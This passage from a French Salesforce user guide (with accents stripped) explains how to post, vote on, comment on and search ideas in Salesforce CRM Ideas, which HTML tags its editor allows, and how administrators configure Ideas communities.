Si vous tes d'accord avec une ide ou si vous l'apprciez, cliquez sur promouvoir pour ajouter 10 points l'ide. Vous
ne pouvez pas promouvoir la mme ide plus d'une fois et vous ne pouvez pas promouvoir une ide que vous avez dj
rtrograde. Salesforce.com ajoute automatiquement votre vote de promotion toute ide que vous postez.

Ides

Guide de l'utilisateur | Prsentation des Ides | 1462

Activit rcente
Votre page Activit rcente comporte un rsum de toutes les activits rcentes en rapport avec votre participation au
sein d'une communaut.Par exemple, cette page rpertorie toutes les ides et tous les commentaires que vous avez publis
dans une communaut ainsi que les ides pour lesquelles vous avez vot. Vous pouvez consulter votre page Activit
rcente en cliquant sur votre surnom de communaut situ droite de l'onglet Ides.
Statut
Le statut d'une ide permet aux membres de la communaut d'en suivre la progression. Par exemple, En rvision,
Rvis, Prochainement, et Actuellement disponible sont des valeurs de statut ordinaires qu'un administrateur peut
dfinir et attribuer des ides. Le statut d'une ide s'affiche en regard du titre de l'ide pour que tous les membres de la
communaut puissent le voir.
Meilleures ides de tous les temps
Dans l'onglet Meilleures depuis toujours, les ides sont classes en fonction de leur nombre de points : du plus grand au
plus petit. Cela vous permet d'afficher les ides les plus populaires dans l'historique de votre communaut Salesforce
CRM Ideas.
Voter
Un vote signifie que vous avez soit promu soit rtrograd une ide. Une fois que vous avez vot pour une ide, votre
surnom de communaut s'affiche en bas de la page de dtails de l'ide pour indiquer que vous avez vot. Vous pouvez
utiliser votre page Activit rcente pour consulter une liste de toutes les ides pour lesquelles vous avez vot.

Voir aussi :
Utilisation de Salesforce CRM Ideas
Gestion de Salesforce CRM Ideas

Ides

Guide de l'utilisateur | Utilisation de Salesforce CRM Ideas | 1463

Utilisation des ides

Utilisation de Salesforce CRM Ideas
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Salesforce CRM Ideas est une communaut d'utilisateurs qui publient, votent et commentent les ides. Elle peut tre considre
comme une bote suggestions en ligne incluant des discussions et des classements par popularit pour n'importe quel sujet.
Vous pouvez :

poster des ides

afficher des ides
rechercher des ides
voter pour des ides
commenter des ides
afficher les activits et les rponses rcentes
s'abonner des fils de syndication

Chaque fois que vous cliquez sur l'onglet Ides, le sous-onglet Ides populaires affiche les ides dans toutes les catgories. Pour
modifier votre affichage actuel, cliquez sur l'un des autres sous-onglet comme le sous-onglet Ides rcentes ou le sous-onglet
Meilleures depuis toujours. Pour plus d'informations sur l'affichage des ides, reportez-vous Affichage des ides la page
1466.

Ides

Guide de l'utilisateur | Publication et modification d'ides | 1464

Publication et modification d'ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Poster des ides

Poster une nouvelle ide est rapide et facile :
1. Utilisez la bote de recherche du menu latral pour rechercher des ides existantes qui correspondent la vtre. Ceci permet
de rduire le nombre d'ides en double dans la communaut. Si aucune ide existante ne correspond la vtre, passez
l'tape suivante.
2. Dans l'onglet Ides, slectionnez la communaut correspondante dans la liste des communauts en haut de la page.
3. Cliquez sur Publication d'ide. Autrement, slectionnez Ide dans la liste droulante Crer un nouveau du menu latral.
4. Tapez un titre pour votre ide de 255 caractres maximum.
Une fois le titre saisi, Salesforce.com recherche la communaut d'ides dont le titre ou la description contient les mmes
termes, puis affiche les cinq ides les plus proches. Si l'une de ces ides est similaire la vtre, cliquez sur son titre pour
ouvrir sa page de dtails dans une nouvelle fentre. Dans la page de dtails, vous pouvez lire une description de l'ide et
voter pour elle au lieu de publier votre ide duplique dans la communaut. Si aucune des ides de la liste n'est similaire
la vtre, suivez la procdure ci-dessous pour publier votre ide unique.
5. Dans la zone de description, tapez les dtails de votre ide.
Si votre entreprise a activ l'diteur HTML de Salesforce CRM Ideas, la description peut comprendre du code HTML
et des images de rfrence en ligne. Si l'diteur HTML n'est pas activ, n'utilisez que du texte brut. Pour plus d'informations,
reportez-vous Conseils d'utilisation de l'diteur HTML la page 1470.
6. Choisissez une ou plusieurs catgories pour votre ide.
7. Si vous tes administrateur, pouvez aussi choisir un statut pour votre ide. La liste droulante Statut n'est visible que
pour les administrateurs.
8. Cliquez sur Publier.
Votre nouvelle ide s'affiche en haut du sous-onglet Ides rcentes et votre vote (promouvoir) est automatiquement appliqu
l'ide. Chaque vote vaut toujours dix points.
Conseil: Utilisez les conseils de rdaction suivants pour faciliter la lecture et la comprhension de votre ide :

Utilisez des phrases compltes.

Soyez aussi concis et direct que possible.
Vrifiez votre orthographe et la ponctuation.

Ides

Guide de l'utilisateur | Voter pour des ides | 1465

Modification des ides

Si vous avez l'autorisation de modifier les ides, vous pouvez modifier les dtails d'une ide existante :
1.
2.
3.
4.

Dans l'onglet Ides, cliquez sur le titre d'une ide.

Cliquez sur Modifier.
Modifiez le titre, la description, la catgorie et le statut (administrateurs uniquement) de l'ide, selon le besoin.
Cliquez sur Appliquer pour enregistrer votre travail.

La modification des dtails d'une ide ne vous permet pas de modifier des commentaires faits sur les ides.

Voter pour des ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Un vote signifie que vous avez soit promu soit rtrograd une ide.Si vous acceptez une ide ou si vous l'apprciez, cliquez sur
promouvoir pour ajouter 10 points cette ide. Vous ne pouvez pas promouvoir la mme ide plus d'une fois et vous ne pouvez
pas promouvoir une ide que vous avez dj rtrograde. Salesforce.com ajoute automatiquement votre vote de promotion
toute ide que vous postez.
Si vous n'apprciez pas une ide, vous pouvez cliquer sur rtrograder pour retirer 10 points au rsultat global et faire rtrograder
la position de popularit gnrale de l'ide. Vous ne pouvez pas rtrograder la mme ide plus d'une fois et une fois que vous
avez rtrograd une ide, vous ne pouvez pas la promouvoir. Une ide peut avoir un nombre de points ngatif si le nombre
d'utilisateurs qui rtrogradent l'ide est suprieur celui de ceux qui la promeuvent.
Pour voter pour une ide :
1. Dans l'onglet Ides, identifiez une ide que vous souhaitez promouvoir ou rtrograder.
2. Pour ajouter dix points l'ide, cliquez sur promouvoir en regard de l'ide. Pour retirer 10 points l'ide, cliquez sur
rtrograder.
Remarque: Lorsque vous publiez une nouvelle ide, vous votez automatiquement pour cette ide et dix points sont
ajouts son score.

Ides

Guide de l'utilisateur | Affichage des ides | 1466

Affichage des ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Les sections suivantes dcrivent comment afficher les ides :

Accs l'onglet Ides dans Salesforce.com

Accs l'onglet Ides dans un Portail
Parcourir les Ides populaires
Parcourir les Ides rcentes
Parcourir les Meilleures ides de tous les temps
Afficher les ides par catgorie
Afficher les ides par statut
Parcourir les ides dans les autres communauts
Affichage des dtails d'une ide

Accs l'onglet Ides dans Salesforce.com

Dans Salesforce.com, l'onglet Ides est disponible par dfaut dans la sous-application Community. Vous pouvez slectionner
cette sous-application partir du menu de Force.com, dans le coin suprieur droit d'une page Salesforce.com.
Remarque : votre administrateur a peut-tre personnalis votre profil pour galement afficher l'onglet Ides dans d'autres
sous-applications. Il est galement possible que votre administrateur ait renomm l'onglet Ides sous un autre nom.
Pour des informations concernant la personnalisation des onglets disponibles rpondant vos besoins, reportez-vous
Personnalisation de votre affichage la page 30.
Conseil: La liste Communaut en haut de l'onglet Ides rpertorie toutes les communauts disponibles et chaque
communaut contient son propre groupe d'ides uniques.

Accs l'onglet Ides dans un Portail

Si votre entreprise a des utilisateurs de portail qui ont accs un portail client ou un portail partenaire, votre administrateur
de portail peut afficher l'onglet Ides sur chaque type de portail. Les ides affiches dans un portail sont cres via un portail
ou en interne, dans Salesforce.com, puis publies pour tre affiches dans un portail.
Parcourir les Ides populaires
Dans le sous-onglet Ides populaires, les ides sont classes par un calcul interne qui reflte l'anciennet des votes positifs d'une
ide. Les ides ayant des votes positifs rcents sont affiches plus haut sur la page que celles ayant des votes positifs plus anciens

Ides

Guide de l'utilisateur | Affichage des ides | 1467

sans tenir compte du nombre total statique de points d'une ide. Vous pouvez ainsi consulter des ides qui ont gagn une
popularit rcente avec une moins grande priorit pour les ides anciennes qui ont reu des votes positifs dans le pass.
Parcourir les Ides rcentes
Le sous-onglet Ides rcentes rpertorie les ides qui ont t envoyes rcemment. Les nouvelles ides s'affichent au-dessus
des ides plus anciennes.
Parcourir les Meilleures ides de tous les temps
Le sous-onglet Meilleures depuis toujours prsente une liste des ides ayant reu le plus grand nombre de points. La diffrence
entre le sous-onglet Meilleures depuis toujours et l'onglet Ides populaires est que l'onglet Meilleures depuis toujours affiche
les ides en fonction du nombre de points obtenus alors que l'onglet Ides populaires utilise un algorithme qui affiche les ides
ayant reu les votes positifs les plus rcents.
Afficher les ides par catgories
Les catgories sont des valeurs dfinies par l'administrateur qui permettent d'organiser des ides en sous-groupes logiques au
sein d'une communaut. La liste droulante Afficher la catgorie de l'onglet Ides permet aux utilisateurs de filtrer les ides
par catgorie et la liste de slection Catgories de la page Publier des ides permet des utilisateurs d'ajouter des catgories
leurs ides.
Pour parcourir les ides par catgorie, slectionnez une catgorie dans la liste droulante Afficher la catgorie. Vous
pouvez galement cliquer sur le lien catgorie en bas de la description de l'ide en regard de l'utilisateur qui a post l'ide.
Afficher les ides par statut
Le statut d'une ide permet aux membres de la communaut d'en suivre la progression. Par exemple, En rvision, Rvis,
Prochainement, et Actuellement disponible sont des valeurs de statut ordinaires qu'un administrateur peut dfinir et
attribuer des ides. Le statut d'une ide s'affiche en regard du titre de l'ide pour que tous les membres de la communaut
puissent le voir.
Pour afficher toutes les ides d'un statut particulier, accdez l'onglet Ides puis slectionnez une valeur dans la liste droulante
Afficher le statut. Vous pouvez aussi cliquer sur le lien du statut en regard de l'ide pour afficher toutes les ides de la
communaut ayant ce statut.
Navigation parmi les ides dans les autres communauts
Les administrateurs peuvent crer plusieurs communauts, chacune possdant sa propre liste d'ides unique. C'est la raison
pour laquelle il est important de vrifier que vous affichez la communaut correcte lors de la navigation dans les ides. Pour
parcourir des ides dans une communaut spcifique, slectionnez une communaut dans la liste Communaut en haut de la
page.
Affichage des dtails d'une ide
Cliquez sur le titre d'une ide pour ouvrir la page des dtails de cette ide. La page des dtails d'une ide comprend les sections
suivantes :

Les dtails de l'ide, y compris son texte complet et le nombre de points

Tous les commentaires ayant t soumis pour cette ide
Une zone permettant d'ajouter un nouveau commentaire
Une liste des 100 derniers utilisateurs ayant vot (promu ou rtrograd) pour cette ide, classs de gauche droite, du vote
le plus rcent au vote le plus ancien

Ides

Guide de l'utilisateur | Commenter des ides | 1468

Si vous tes administrateur, la page de dtails vous permet de modifier, de supprimer et de fusionner des ides. Pour de
plus amples informations, reportez-vous Suppression des ides la page 1472, Fusion des ides la page 1478 et Publication
et modification d'ides la page 1464.

Commenter des ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Les commentaires sont des textes de rponse aux ides postes qui permettent de discuter certaines ides. Dans l'onglet Ides,
le sous-onglet Commentaires prsente une liste des commentaires les plus rcents. Sur la page des dtails d'une ide, les
commentaires sont classs dans l'ordre chronologique du plus ancien au plus rcent.
Ajout de commentaires aux ides
Ajoutez des commentaires aux ides pour partager vos rflexions et opinions avec les autres membres de la communaut :
1. Dans l'onglet Ides, recherchez l'ide laquelle vous souhaitez ajouter un commentaire.
2. Cliquez soit sur le titre de l'ide soit sur le lien Commentaires sous la description de l'ide.
3. Sur la page de dtails de l'ide, entrez vos commentaires dans la zone de saisie de la section Ajouter votre commentaire.
Vous pouvez saisir jusqu' 4 000 caractres.
Si votre entreprise a activ l'diteur HTML de Salesforce CRM Ideas, la description peut comprendre du code HTML
et des images de rfrence en ligne. Si l'diteur HTML n'est pas activ, n'utilisez que du texte brut. Pour plus d'informations,
reportez-vous Conseils d'utilisation de l'diteur HTML la page 1470.
4. Cliquez sur Publier pour envoyer votre commentaire.
Votre commentaire frachement ajout s'affiche dans la liste associe Commentaires sur la page de dtails de l'ide.
Modification des commentaires sur les ides
Pour modifier un commentaire que vous avez envoy sur une ide :
1. sur la page de dtails de l'ide, cliquez sur Modifier en regard de votre commentaire.
2. Modifiez votre commentaire tel que vous le souhaitez.
3. Cliquez sur Appliquer pour enregistrer votre travail.
Suppression des commentaires sur les ides
La suppression de commentaires associs des ides ncessite l'autorisation Supprimer pour les ides.
1. Sur la page de dtails de l'ide, cliquez sur Del en regard de votre commentaire.

Ides

Guide de l'utilisateur | Affichage de votre page dactivits rcentes | 1469

2. Cliquez sur OK.

Affichage des commentaires les plus rcents
Pour afficher les commentaires les plus rcents de votre communaut Salesforce CRM Ideas, cliquez sur le sous-onglet
Commentaires. Cliquez sur le texte d'un commentaire pour afficher la page des dtails de l'ide concerne.
Dans le sous-onglet Commentaires :

Les commentaires sont classs par ordre chronologique du plus rcent au plus ancien.
Le titre de l'ide laquelle a t ajout un commentaire s'affiche au-dessus de ce commentaire.
L'alias de l'utilisateur ayant post ce commentaire s'affiche ct du texte du commentaire.
Le nombre total de commentaires sur l'ide s'affiche entre crochets sous le texte du commentaire. Par exemple,
Commentaires [20] indique que l'ide a reu vingt commentaires.

Affichage de votre page dactivits rcentes

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Votre page Activit rcente comporte un rsum de toutes les activits rcentes en rapport avec votre participation au sein
d'une communaut.Pour afficher votre page Activits rcentes, accdez l'onglet Ides puis cliquez sur votre lien Surnom de
communaut droite de la page. Pour afficher la page Activits rcentes d'un autre membre de la communaut, cliquez sur
le nom du membre de la communaut qui s'affiche en dessous des ides ou des commentaires qu'il a publis.
La page Activits rcentes utilise les icnes suivantes pour identifier les diffrents types d'activits au sein de la communaut :

identifie les ides que vous avez soumises.

identifie les ides pour lesquelles vous avez vot.

identifie les commentaires que vous avez publis pour des ides ainsi que les commentaires que d'autres utilisateurs ont
publis pour vos ides.

Pour des dtails supplmentaires, cliquez sur les liens suivants situs gauche de la page Activits rcentes :

Ides soumises rpertorie les ides que vous avez publies pour cette communaut. L'ide la plus rcente apparat en premier.
Ides votes rpertorie les ides de cette communaut que vous avez promues ou rtrogrades.
Rponses rcentes affiche le commentaire le plus rcent publi pour chacune de vos ides, ainsi que le commentaire le plus
rcent publi pour chaque ide que vous avez dj commente. Cette section n'est pas affiche lors de l'affichage des activits
rcentes d'un autre membre de la communaut.

Ides

Guide de l'utilisateur | Recherche d'ides | 1470

Pour dterminer rapidement le nombre de rponses rcentes que vous avez reues, regardez ct de l'icne des rponses
rcentes ( ) dans le coin suprieur droit de l'onglet Ides. Cette icne ne s'affiche que lorsque vous avez reu une nouvelle
rponse.
Remarque: Vous ne pouvez pas tlcharger votre propre image pour remplacer l'image par dfaut.

Recherche d'ides
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Vous pouvez rechercher des ides l'aide de la recherche dans le menu latral ou de la recherche avance. Pour une prsentation
de ces mthodes de recherche, reportez-vous Prsentation de la recherche la page 1893. Pour des conseils sur l'excution des
recherches, reportez-vous Conseils sur la recherche la page 1907.
Remarque: La recherche dans le menu latral porte seulement sur les titres des ides. Cependant, la recherche avance
inclut galement les descriptions des ides et les commentaires qui ont t posts sur les ides.
Pour des informations gnrales sur l'interprtation des rsultats de la recherche, reportez-vous Affichage des rsultats
de la recherche la page 1909.

Conseils d'utilisation de l'diteur HTML

L'diteur HTML offre aux utilisateurs des capacits d'dition HTML WYSIWYG qui leur permet d'effectuer les oprations
suivantes :

Insrer une image

Insrer des liens hypertexte
Modifier l'alignement des paragraphes
Crer des listes puces et des listes numrotes

Conseils en matire de mise en uvre

Les balises HTML que vous saisissez dans l'diteur HTML s'affichent en tant que texte pour les utilisateurs.
Dans les listes associes, les rsultats de recherche et les dtails de placement, Salesforce.com n'affiche le texte au format
HTML ou avec des images.

Ides

Guide de l'utilisateur | Conseils d'utilisation de l'diteur HTML | 1471

Les liens hypertexte apparaissent dans une fentre de navigateur distincte lorsque les utilisateurs cliquent dessus. L'diteur
HTML prend en charge les protocoles HTTP, HTTPS et les liens hypertexte mailto.

Pour insrer une image, cliquez sur

, puis accdez un fichier d'image ou saisissez l'adresse Web de l'image. Vous
pouvez aussi entrer une description qui apparat lorsque l'utilisateur passe le curseur de la souris sur l'image. L'image doit
disposer d'une URL accessible par Salesforce.com.
Les images ne s'affichent pas dans les vues de liste ni dans les rapports.
Vous ne pouvez pas dsactiver des fonctions individuelles de l'diteur HTML. Par exemple, vous ne pouvez pas dsactiver
son lien hypertexte et les capacits d'image.
L'diteur HTML prend en charge toutes les langues que Salesforce.com supporte.
Pour des raisons de scurit, l'diteur HTML n'autorise que les balises et les attributs rpertoris dans Balises et attributs
HTML pris en charge la page 1471. Salesforce.com supprime automatiquement toutes les balises et les attributs non pris
en charge lorsque vous enregistrez la description ou le commentaire d'une ide. Salesforce.com retire galement le code
HTML potentiellement malveillant. Notez que Salesforce.com n'informe pas les utilisateurs lorsque du code HTML non
pris en charge ou potentiellement malveillant est supprim.
L'diteur HTML ne prend pas en charge JavaScript ni les feuilles de style en cascade (CSS).

Balises et attributs HTML pris en charge

L'diteur HTML prend en charge les balises suivantes :
<a>

<dt>

<q>

<abbr>

<em>

<samp>

<acronym>

<font>

<small>

<address>

<h1>

<span>

<b>

<h2>

<strike>

<bdo>

<h3>

<strong>

<big>

<h4>

<sub>

<blockquote>

<h5>

<sup>

<br>

<h6>

<table>

<caption>

<hr>

<tbody>

<cite>

<i>

<td>

<code>

<img>

<tfoot>

<col>

<ins>

<th>

<colgroup>

<kbd>

<thead>

<dd>

<li>

<tr>

<del>

<ol>

<tt>

<dfn>

<p>

<ul>

<div>

<pre>

<var>

<dl>

Les balises ci-dessus peuvent inclure les attributs suivants :

Ides

Guide de l'utilisateur | Suppression des ides | 1472

alt

face

taille

background

height

src

border

href

style

colspan

rowspan

width

Les attributs ci-dessus peuvent inclure des URL qui commencent par les lments suivants :

http:
https:
file:
ftp:
mailto:
/ pour les liens relatifs

Activation de l'diteur HTML dans Salesforce CRM Ideas

L'diteur HTML est activ par dfaut pour la plupart des organisations. Si l'diteur HTML n'est pas activ dans votre
organisation, un administrateur peut l'activer comme indiqu dans Personnalisation des paramtres de Salesforce CRM Ideas
la page 1475.
ATTENTION: Une fois l'diteur HTML activ, vous ne pouvez plus le dsactiver.

Avant d'activer l'diteur HTML, notez les points suivants :

Chaque description d'ide HTML est limite une taille maximale de 32 Ko. Chaque commentaire est limit une taille
maximale de 4 Ko.
Si vous utilisez l'diteur HTML pour modifier et enregistrer la description ou le commentaire d'une ide qui tait au format
texte, Salesforce.com enregistre la description ou le commentaire dans le format HTML.
Dans les vues de liste et les rsultats de recherche, Salesforce.com n'affiche que les 255 premiers caractres de la description
ou du commentaire d'une ide. Ce nombre inclut les balises HTML.

Suppression des ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour supprimer des ides et commentaires :

Autorisation de suppression sur les ides

Pour supprimer une ide :

1. Cliquez sur le nom d'une ide pour ouvrir la page des dtails.
2. Cliquez sur le bouton Supprimer.
3. Cliquez sur OK.

Ides

Guide de l'utilisateur | Inscription un fil de syndication pour Ideas | 1473

L'ide, ses commentaires et toutes les ides enfants sont dplacs vers la Corbeille. Remarque : la rcupration d'une ide de
la corbeille restaure galement les commentaires, les votes et les ides enfants de l'ide.

Inscription un fil de syndication pour Ideas

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Lire sur les ides

Pour afficher et voter pour des ides :

Lire sur les ides

Pour crer des ides et y ajouter des commentaires :

Crer sur les ides

Pour modifier des ides et les commentaires :

Modifier sur les ides

Les fils de syndication permettent aux utilisateurs de s'inscrire aux modifications apportes Salesforce CRM Ideas et de
recevoir des mise jour dans des lecteurs de fil externes. Les utilisateurs peuvent s'inscrire des fils de syndication Salesforce
CRM Ideas lorsque les conditions requises suivantes sont satisfaites :

Les sites Salesforce CRM Ideas doivent tre publiquement exposs l'aide de sites Force.com. Pour plus d'informations,
reportez-vous Prsentation des sites Force.com la page 1395.
Le champ Catgories doit tre activ dans Salesforce CRM Ideas. Ce champ est activ par dfaut dans certaines
organisations. Pour plus d'informations, reportez-vous Activation du champ Catgories la page 1482.

Pour vous inscrire un fil de syndication, cliquez sur l'icne de fils ( ) dans les pages Ideas suivantes :

Sous-onglet Ides populaires

Sous-onglet Ides rcentes
Sous-onglet Meilleures depuis toujours
Sous-onglet Commentaires
Ce fil rpertorie les commentaires sparment, mme s'ils appartiennent la mme ide, tandis que le sous-onglet
Commentaires regroupe les commentaires d'une mme ide et n'affiche que le nombre de commentaires rcents lis cette
ide.

Page Activits rcentes

Pour vous inscrire un fil qui comprend tous les commentaires posts par un membre spcifique d'une communaut,
cliquez sur son nom qui figure sous l'ide ou le commentaire qu'il a post. Cliquez ensuite sur l'icne de fils dans la page
Activits rcentes du membre de la communaut. Lorsque vous vous inscrivez au fil Activits rcentes d'un autre membre
de la communaut, le fil contient uniquement les commentaires rcents de ce membre et aucun commentaire d'un autre
utilisateur.
Remarque: Les ides enfants (ides fusionnes avec une ide parente) ne sont incluses dans aucun fil. Seules les ides
parentes sont incluses.

Ides

Guide de l'utilisateur | Gestion de Salesforce CRM Ideas | 1474

Configuration des ides

Gestion de Salesforce CRM Ideas
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les communauts Salesforce CRM Ideas :

Personnaliser l'application

Salesforce CRM Ideas est une communaut d'utilisateurs qui publient, votent et commentent les ides. Elle peut tre considre
comme une bote suggestions en ligne incluant des discussions et des classements par popularit pour n'importe quel sujet.
Les communauts aident organiser les ides et les rponses en groupes logiques, chaque communaut possdant ses propres
centres d'intrt, ses ides uniques et ses domaines de rponse. Les organisations Professional Edition ne peuvent avoir qu'une
seule communaut interne pour Salesforce CRM Ideas. Les autres ditions peuvent avoir jusqu' 50 communaut partages
entre les ides et les rponses.
Vous pouvez afficher une communaut Ideas pour des utilisateurs Salesforce.com internes, des utilisateurs du Portail client
ou du portail partenaire, ou des utilisateurs publics (ncessite la configuration d'un site Force.com). Pour obtenir des instructions
pas pas de configuration de Salesforce CRM Ideas, reportez-vous au guide Salesforce CRM Ideas Implementation Guide.
En tant qu'administrateur, vous pouvez :

Vrifier si les ides sont actives pour votre entreprise et personnaliser leur priode de dcroissance. Reportez-vous
Personnalisation des paramtres Salesforce CRM Ideas la page 1475.
Crer une nouvelle communaut. Reportez-vous Cration et modification de communauts la page 1477.
Dfinir des valeurs de liste de slection pour les champs Catgories et Statut. Reportez-vous Dfinition de valeurs
de liste de slection pour les champs Catgories et Statut la page 1480.
Spcifier la prsentation des champs personnaliss. Reportez-vous Dfinition des mises en page pour les champs d'ides
la page 1484.
rendre les rapports sur les ides disponibles tous les utilisateurs. Reportez-vous Configuration des rapports sur les ides
la page 1485.
Personnaliser les prsentations de recherche d'ide. Consultez les rubriques Personnalisation des prsentations de recherche
la page 572 et Recherche d'ides la page 1470.
Fusionner des ides afin de rduire le nombre de doublons d'ides au sein d'une communaut. Reportez-vous Fusion des
ides la page 1478.
Attribuer un statut une ide. Reportez-vous Publication et modification d'ides la page 1464.
Supprimer un vote grce l'API pour effacer tout historique gnr par ce vote.
Plus prcisment, la suppression d'un vote est l'origine des lments suivants :
-

Retire 10 points du rsultat global de l'ide.

Retire le nom de l'utilisateur de la section 100 derniers votes de la page de dtails de l'ide.

Ides

Guide de l'utilisateur | Personnalisation des paramtres de Salesforce CRM Ideas. | 1475

Pour plus d'informations, reportez-vous l'appel delete() dans le guide du dveloppeur de Force.com Web Services
API.

Personnalisation des paramtres de Salesforce CRM Ideas.

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser les paramtres de Salesforce CRM Ideas : Personnaliser l'application

Pour grer les paramtres l'chelle de l'entreprise pour Salesforce CRM Ideas :
1. Cliquez sur Configuration Personnalisation Ides Paramtres.
2. Cliquez sur Modifier.
3. Utilisez la case Activer les ides pour activer ou dsactiver Salesforce CRM Ideas dans votre entreprise.
L'activation de Salesforce CRM Ideas affiche l'onglet Ides dans l'application Community et les communauts actives sous
l'onglet Ides.
La dsactivation de Salesforce CRM Ideas retire l'onglet Ides de la sous-application Community. Les utilisateurs ne
peuvent plus accder aux communauts actives, mais ces communauts s'affichent sous l'onglet Ides lors de la prochaine
activation de Salesforce CRM Ideas.
4. Vous pouvez aussi slectionner Activer la Mise en forme de texte, les Images et les Liens pour
activer l'diteur HTML de Salesforce CRM Ideas, qui fournit aux utilisateurs des capacits d'dition HTML tel-tel et de
rfrencement d'images lorsqu'ils publient ou commentent des ides. Pour plus d'informations, reportez-vous Conseils
d'utilisation de l'diteur HTML la page 1470.
ATTENTION: Une fois que vous avez activ l'diteur HTML de Salesforce CRM Ideas, vous ne pouvez plus
le dsactiver. Si vous ne voyez pas la case cocher Activer la Mise en forme de texte, les Images
et les Liens, l'diteur HTML de Salesforce CRM Ideas est activ par dfaut pour votre entreprise.
5. Si votre organisation n'a pas encore activ le champ de slection multiple Catgories, cliquez sur le bouton Activer situ
sous le message Catgories en haut de la page. Ce bouton n'est pas affich si votre organisation a dj activ le champ
Catgories. Pour plus d'informations, reportez-vous Activation du champ Catgories la page 1482.
Si le champ Catgories est dj activ, la case Activer les catgories est slectionne. Une fois activ, vous ne
pouvez pas dsactiver ce champ.
6. Dans le champ Priode de dcroissance (en jours), entrez un nombre de jours.
La priode de dcroissance dtermine la vitesse laquelle les anciennes ides quittent le haut de la liste sur le sous-onglet
Ides populaires, pour laisser la place aux ides ayant obtenu des votes plus rcents. Une priode de dcroissance plus courte
dplace les ides vers le bas de la page plus rapidement qu'une priode de dcroissance plus longue.
Remarque: Ce champ ne s'affiche pas si Ides est dsactiv. Pour modifier le champ Priode de dcroissance
(en jours), enregistrez vos modifications une fois Ides activ, puis cliquez sur Modifier dans la page Paramtres
des ides.

Ides

Guide de l'utilisateur | Accueil des Communauts | 1476

7. Cliquez sur Enregistrer.

Accueil des Communauts

Communauts Ides disponibles dans : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Communauts Rponses disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier une communaut :

Personnaliser l'application

Les communauts aident organiser les ides et les rponses en groupes logiques, chaque communaut possdant ses propres
centres d'intrt, ses ides uniques et ses domaines de rponse. Les organisations Professional Edition ne peuvent avoir qu'une
seule communaut interne pour Salesforce CRM Ideas. Les autres ditions peuvent avoir jusqu' 50 communaut partages
entre les ides et les rponses.
Remarque: Si vous souhaitez utiliser plus de 50 communauts, contactez salesforce.com.

Vous pouvez afficher une communaut pour les types utilisateurs suivants :

Utilisateurs internes de Salesforce.com uniquement. Les utilisateurs de Salesforce.com peuvent accder toutes les
communauts, quelles soient internes seulement ou affiches dans un portail.
Les utilisateurs du portail client et du portail partenaire.
Les utilisateurs publics (ncessite de configurer un site Force.com).
Remarque: Vous ne pouvez pas utiliser les rgles de partage Salesforce.com pour limiter l'accs des communauts.
Lors de la cration d'une communaut, vous pouvez restreindre l'accs en slectionnant le portail dans lequel la
communaut doit s'afficher. Seuls les utilisateurs attribus ce portail (ainsi que les utilisateurs Salesforce.com internes)
peuvent accder cette communaut, sauf si vous l'exposez publiquement l'aide des sites Force.com.

Pour afficher une liste des communauts existantes ainsi que des informations gnrales concernant chacune d'elles, cliquez
sur Configuration Personnalisation Ides Communauts ou sur Configuration Personnalisation Rponses
Communauts. Les Communauts sont partages par les fonctionnalits Ides et Rponses. Vous pouvez ainsi afficher et
crer des communauts partir des deux emplacements. partir de la page Communauts, vous pouvez :

Crer une nouvelle communaut ou modifier une communaut existante.

Afficher les dtails concernant une communaut en cliquant sur son nom.

Ides

Guide de l'utilisateur | Cration et modification de communauts | 1477

Cration et modification de communauts

